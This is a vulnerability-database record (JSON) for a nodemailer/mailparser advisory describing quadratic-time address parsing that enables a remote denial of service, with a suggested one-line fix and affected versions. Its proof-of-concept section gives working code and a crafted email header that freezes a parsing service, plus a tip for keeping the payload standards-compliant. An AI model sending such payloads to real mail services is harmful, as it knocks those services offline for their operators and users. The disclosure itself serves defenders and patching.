{"schema":"threatline.record/2","record":{"id":"CVE-2026-90776","aliases":["GHSA-prgh-xp8r-p3m5"],"summary":"Nodemailer addressparser: O(n^2) on comment-joined addresses enables a remote DoS (reachable via mailparser)","details":"### Summary\n\n`nodemailer/lib/addressparser` parses one shape of address in O(n^2) time. A single ~640 KB address value blocks the Node.js event loop for roughly 7 seconds. And it is reachable without auth: mailparser feeds inbound email headers straight into this parser, so one crafted email is enough to stall a service that parses mail.\n\n### Details\n\nThe parser builds a single address by accumulating its atoms into one string. When the atoms are separated by RFC 5322 comments, like `a@b(c)@b(c)@b(c)...`, every atom re-joins that same growing string.\n\nThe join check in `src/addressparser/index.ts`:\n\n```js\nconst joins =\n    prevToken &&\n    prevToken.noBreak &&\n    parts.length &&\n    (prevToken.value !== ')' || parts[parts.length - 1].slice(-1) === '@' || token.value.charAt(0) === '@');\n```\n\nThe issue is the order of the last two operands. `parts[parts.length - 1].slice(-1)` runs before the cheap `token.value.charAt(0)`. `slice(-1)` has to flatten the accumulator to read its last character → O(current length) → and that runs on every token → O(n^2) over the whole value. Since `||` is left to right, the cheap `charAt(0)` that would short-circuit never gets the chance.\n\nThe chain: long comment-joined address → one growing accumulator → `slice(-1)` re-flattens it on every token → quadratic parse time.\n\n### PoC\n\nIsolated, just the parser (`npm i nodemailer@10.0.3`):\n\n```js\nconst addressparser = require('nodemailer/lib/addressparser');\nconst s = Date.now();\naddressparser('a' + '@b(c)'.repeat(130000));\nconsole.log(Date.now() - s, 'ms'); // ~7000 ms, blocking\n```\n\nEnd to end through mailparser, the remote path (`npm i mailparser@3.9.24`):\n\n```js\nconst { simpleParser } = require('mailparser');\n(async () => {\n  const to = 'a' + '@b(c)'.repeat(130000);\n  const eml = `From: a@b.com\\r\\nTo: ${to}\\r\\nSubject: x\\r\\n\\r\\nhi\\r\\n`;\n  const s = Date.now();\n  await simpleParser(eml);\n  console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking\n})();\n```\n\nTimings measured on 10.0.3:\n\n| Address value | Parse time |\n| --- | --- |\n| 390 KB | 1.3 s |\n| 585 KB | 5.6 s |\n| 640 KB | 6.7 s |\n| 976 KB | 18 s |\n\nIt survives RFC 5322 folding: fold the header at offsets that are a multiple of the atom length and every `)`+`@` junction stays intact, so the payload is a standards-compliant email with lines under 998 octets and still triggers it.\n\n### Impact\n\nAlgorithmic-complexity DoS. Node is single threaded, so the block stalls everything else in the process, and a handful of these back to back keeps a service down.\n\nAffected: anything that runs `addressparser` on attacker-controlled input, either the public export directly or address headers built from user input. The unauthenticated remote case is mailparser. 3.9.24 pins nodemailer 10.0.3 and calls the parser on inbound `To`/`From`/`Cc` with no length cap, so any service parsing inbound mail with it can be frozen by a single email.\n\n### Suggested fix\n\nSwap the last two operands so the cheap check runs first:\n\n```js\n(prevToken.value !== ')' || token.value.charAt(0) === '@' || parts[parts.length - 1].slice(-1) === '@')\n```\n\nPure boolean commutation, so the parse output is identical. Verified byte for byte on the test inputs, and the full 1276-test suite passes.","categories":["Libraries & packages"],"product":"nodemailer","vendor":"nodemailer","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-prgh-xp8r-p3m5","source_modified_at":"2026-10-05T23:30:10Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"nodemailer"},"range":">= 9.1.0, <= 10.0.4"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-90776","source_modified_at":"2026-09-24T14:21:56.169Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"nodemailer","vendor":"nodemailer","versions":[{"version":"9.1.0","status":"affected","versionType":"semver","lessThan":"10.0.5"},{"version":"10.0.5","status":"unaffected","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-prgh-xp8r-p3m5","source_modified_at":"2026-10-05T23:45:08.248427298Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"nodemailer","ecosystem":"npm","purl":"pkg:npm/nodemailer"},"ranges":[{"type":"SEMVER","events":[{"introduced":"9.1.0"},{"fixed":"10.0.5"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-prgh-xp8r-p3m5","source_modified_at":"2026-10-05T23:30:10Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"nodemailer"},"version":"10.0.5"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-90776","source_modified_at":"2026-09-24T14:21:56.169Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"nodemailer","ecosystem":null},"version":"10.0.5","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-prgh-xp8r-p3m5","source_modified_at":"2026-10-05T23:45:08.248427298Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"nodemailer","ecosystem":"npm","purl":"pkg:npm/nodemailer"},"version":"10.0.5"}],"cvss":7.5,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00684,"percentile":0.5203,"score_date":"2026-10-23"},"published_at":"2026-09-13T11:42:26.391Z","modified_at":"2026-10-05T23:45:08.248427298Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-prgh-xp8r-p3m5","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-05T23:30:10Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-90776","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-24T14:21:56.169Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-prgh-xp8r-p3m5","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-05T23:45:08.248427298Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-90776","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-prgh-xp8r-p3m5","tags":["exploit"]},{"source":"CVE List","url":"https://github.com/nodemailer/nodemailer/commit/c07f17518d25aca8ab2ad66968dcbca538c24b89","tags":["patch"]},{"source":"CVE List","url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.5","tags":["release-notes"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-90776","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/nodemailer-9.1.0-through-10.0.4-denial-of-service-via-quadratic-address-parsing","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-prgh-xp8r-p3m5","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/nodemailer/nodemailer/blob/v10.0.4/src/addressparser/index.ts#L251","tags":["technical-description"]},{"source":"CVE List","url":"https://github.com/nodemailer/nodemailer","tags":["product"]}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","assessed_at":"2026-09-16T14:04:25.782469Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-05T23:45:08.248427298Z","content_hash":"ab85f6d4a3ae514d0e4926438f29fba85d2b47fe87ebaf7555cd27f1d4a1703c"}}
